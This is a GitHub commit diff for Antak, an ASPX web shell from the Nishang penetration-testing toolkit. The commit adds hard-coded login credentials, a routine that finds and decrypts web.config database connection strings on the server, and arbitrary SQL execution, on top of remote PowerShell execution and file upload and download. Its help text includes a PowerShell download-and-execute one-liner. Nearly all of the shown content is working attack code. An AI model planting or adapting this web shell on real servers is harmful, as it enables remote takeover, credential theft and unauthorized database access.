Skip to content

Commit b0055e9

Browse files
committed
Antak can now execute SQL queries. Closes Issue #17
This updated adds ability to execute SQL queries to Antak and adds simple authentication to restrict access to it. It also closes Issue #17.
1 parent 1e7d8f0 commit b0055e9

File tree

1 file changed

+93
-19
lines changed

1 file changed

+93
-19
lines changed

Antak-WebShell/antak.aspx

+93-19
Original file line numberDiff line numberDiff line change
@@ -2,16 +2,34 @@
22
<%@ Import Namespace="System.Diagnostics" %>
33
<%@ Import Namespace="System.IO" %>
44
<%@ Import Namespace="System.IO.Compression" %>
5-
6-
<%--Antak - A Webshell which utilizes powershell.--%>
5+
<%@ Import Namespace="Microsoft.VisualBasic" %>
6+
<%--Antak - A Webshell which utilizes PowerShell.--%>
77

88
<script Language="c#" runat="server">
9-
protected override void OnInit(EventArgs e)
10-
{
11-
output.Text = @"Welcome to Antak - A Webshell in Powershell
9+
10+
protected void Login_Click(object sender, EventArgs e)
11+
{
12+
// WARNING: Don't be lazy, change values below for username and password. Default credentials are disastrous.
13+
// Default Username is "Disclaimer" and Password is "ForLegitUseOnly" without quotes and case-sensitive.
14+
if (Username.Text == "Disclaimer" && Password.Text == "ForLegitUseOnly")
15+
{
16+
execution.Visible = true;
17+
execution.Enabled = true;
18+
authentication.Visible = false;
19+
output.Text = @"Welcome to Antak - A Webshell which utilizes PowerShell
1220
Use help for more details.
1321
Use clear to clear the screen.";
22+
}
23+
}
24+
25+
protected override void OnInit(EventArgs e)
26+
{
27+
execution.Visible = false;
28+
execution.Enabled = false;
1429
}
30+
31+
32+
1533
string do_ps(string arg)
1634
{
1735
//This section based on cmdasp webshell by http://michaeldaw.org
@@ -35,7 +53,7 @@ void ps(object sender, System.EventArgs e)
3553
output.Text = @"Use this shell as a normal powershell console. Each command is executed in a new process, keep this in mind
3654
while using commands (like changing current directory or running session aware scripts).
3755
38-
Executing PowerShell scripts on the target -
56+
- Scripts can be executed on the target using any of the below methods:
3957
1. Paste the script in command textbox and click 'Encode and Execute'. A reasonably large script could be executed using this.
4058
4159
2. Use powershell one-liner (example below) for download & execute in the command box.
@@ -46,21 +64,27 @@ IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Argument
4664
4. Make the script a semi-colon separated one-liner.
4765
4866
49-
Files can be uploaded and downloaded using the respective buttons.
50-
51-
Uploading a file -
67+
- Uploading a file:
5268
To upload a file you must mention the actual path on server (with write permissions) in command textbox.
5369
(OS temporary directory like C:\Windows\Temp may be writable.)
5470
Then use Browse and Upload buttons to upload file to that path.
5571
56-
Downloading a file -
72+
- Downloading a file:
5773
To download a file enter the actual path on the server in command textbox.
5874
Then click on Download button.
5975
76+
- SQL Queries could be executed by following below steps:
77+
1. Click on 'Parse Web.Config' button to get dabase connection string. By default, Antak looks for web.config in
78+
the C:\Inetpub directory. You can specify a full path in the command box to look for web.config in other directory.
79+
2. Paste that connection string in the textbox besides the 'Execute SQL Query' button.
80+
3. Enter the SQL Query in the command box.
81+
4. Click the 'Execute SQL Query' button.
82+
83+
6084
Antak is a part of Nishang and updates could be found here:
6185
https://github.com/samratashok/nishang
62-
A detailed blog post on Antak could be found here
63-
http://www.labofapenetrationtester.com/2014/06/introducing-antak.html
86+
Blog posts about Antak could be found here
87+
http://www.labofapenetrationtester.com/search/label/Antak
6488
6589
";
6690
console.Text = string.Empty;
@@ -89,12 +113,18 @@ void execcommand(string cmd)
89113
console.Focus();
90114
}
91115
92-
void base64encode(object sender, System.EventArgs e)
116+
void base64encode(string inputstr)
93117
{
94118
// Compression and encoding directly stolen from Compress-PostScript by Carlos Perez
95119
//http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
96120
97121
string contents = console.Text;
122+
123+
if (inputstr != "null")
124+
{
125+
contents = inputstr;
126+
}
127+
98128
// Compress Script
99129
100130
@@ -124,7 +154,6 @@ void base64encode(object sender, System.EventArgs e)
124154
125155
execcommand(command);
126156
127-
128157
}
129158
protected void uploadbutton_Click(object sender, EventArgs e)
130159
{
@@ -164,29 +193,74 @@ protected void downloadbutton_Click(object sender, EventArgs e)
164193
}
165194
}
166195
196+
protected void encode_Click(object sender, EventArgs e)
197+
{
198+
base64encode("null");
199+
}
200+
201+
// PowerShell logic in ConnectionStr_Click and executesql_Click taken from https://github.com/NetSPI/cmdsql
202+
protected void ConnectionStr_Click(object sender, EventArgs e)
203+
{
204+
output.Text = @"By default, web.config is searched for in C:\inetpub. To look at other location, specify the full path in the command textbox.
205+
206+
";
207+
string webpath = "C:\\inetpub";
208+
if (console.Text != string.Empty)
209+
{
210+
webpath = console.Text;
211+
}
212+
string pscode = "$ErrorActionPreference = \'SilentlyContinue\';$path=" + "\"" + webpath + "\"" + ";" + "Foreach ($file in (get-childitem $path -Filter web.config -Recurse)) {; Try { $xml = [xml](get-content $file.FullName) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };if ($connstrings.ConnectionStrings.encrypteddata.cipherdata.ciphervalue -ne $null){;$tempdir = (Get-Date).Ticks;new-item $env:temp\\$tempdir -ItemType directory | out-null; copy-item $file.FullName $env:temp\\$tempdir;$aspnet_regiis = (get-childitem $env:windir\\microsoft.net\\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName + \' -pdf \"\"connectionStrings\"\" \' + $env:temp + \'\\\' + $tempdir;Invoke-Expression $aspnet_regiis; Try { $xml = [xml](get-content $env:temp\\$tempdir\\$file) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };remove-item $env:temp\\$tempdir -recurse};Foreach ($_ in $connstrings.ConnectionStrings.add) { if ($_.connectionString -ne $NULL) { write-host \"\"$file.Fullname --- $_.connectionString\"\"} } };";
213+
base64encode(pscode);
214+
}
215+
216+
protected void executesql_Click(object sender, EventArgs e)
217+
{
218+
output.Text = @"Use a connection string retrieved from the server and copy it in the connection string textbox.
167219
220+
";
221+
string Constr = sqlconnectiostr.Text;
222+
string sqlcmd = console.Text;
223+
string pscode = "$Connection = New-Object System.Data.SQLClient.SQLConnection;$Connection.ConnectionString = " + "\"" + Constr + "\"" + ";" + "$Connection.Open();$Command = New-Object System.Data.SQLClient.SQLCommand;$Command.Connection = $Connection;$Command.CommandText = " + "\"" + sqlcmd + "\"" + ";" + "$Reader = $Command.ExecuteReader();while ($reader.Read()) {;New-Object PSObject -Property @{Name = $reader.GetValue(0)};};$Connection.Close()";
224+
base64encode(pscode);
225+
226+
}
168227
</script>
169228
<HTML>
170229
<HEAD>
171230
<title>Antak Webshell</title>
172231
</HEAD>
173232
<body bgcolor="#808080">
233+
174234
<div>
235+
175236
<form id="Form1" method="post" runat="server" style="background-color: #808080">
176-
<div style="text-align:center; resize:vertical">
237+
<asp:Panel ID="authentication" runat="server" HorizontalAlign="Center" >
238+
<asp:TextBox ID="Username" runat="server" style="margin-left: 0px" Width="300px"></asp:TextBox> <br />
239+
<asp:TextBox ID="Password" runat="server" Width="300px"></asp:TextBox><br />
240+
<asp:Button ID="Login" runat="server" Text="Login" OnClick="Login_Click" Width="101px"/><br />
241+
</asp:Panel>
242+
<asp:Panel ID="execution" runat="server" >
243+
<div runat="server" style="text-align:center; resize:vertical">
244+
177245
<asp:TextBox ID="output" runat="server" TextMode="MultiLine" BackColor="#012456" ForeColor="White" style="height: 526px; width: 891px;" ReadOnly="True"></asp:TextBox>
178246
<asp:TextBox ID="console" runat="server" BackColor="#012456" ForeColor="Yellow" Width="891px" TextMode="MultiLine" Rows="1" onkeydown="if(event.keyCode == 13) document.getElementById('cmd').click()" Height="23px" AutoCompleteType="None"></asp:TextBox>
179247

180248

181249
</div>
182-
<div style="width: 1100px; text-align:center">
250+
<div runat="server" style="width: auto; text-align:center">
251+
183252
<asp:Button ID="cmd" runat="server" Text="Submit" OnClick="ps" />
184253
<asp:FileUpload ID="upload" runat="server"/>
254+
185255
<asp:Button ID="uploadbutton" runat="server" Text="Upload the File" OnClick="uploadbutton_Click" />
186-
<asp:Button ID="encode" runat="server" Text="Encode and Execute" OnClick="base64encode" />
187-
<asp:Button ID="downloadbutton" runat="server" Text="Download" OnClick="downloadbutton_Click" />
256+
<asp:Button ID="encode" runat="server" Text="Encode and Execute" OnClick="encode_Click"/>
257+
<asp:Button ID="downloadbutton" runat="server" Text="Download" OnClick="downloadbutton_Click" /> <br />
258+
<asp:Button ID="ConnectionStr" runat="server" Text="Parse web.config" OnClick="ConnectionStr_Click"/>
259+
<asp:Button ID="executesql" runat="server" Text="Execute SQL Query" OnClick="executesql_Click" />
260+
<asp:TextBox ID="sqlconnectiostr" runat="server" Width="352px">Enter Connection String here to Execute SQL Queries</asp:TextBox>
188261
</div>
189-
262+
263+
</asp:Panel >
190264
</form>
191265

192266

0 commit comments

Comments
 (0)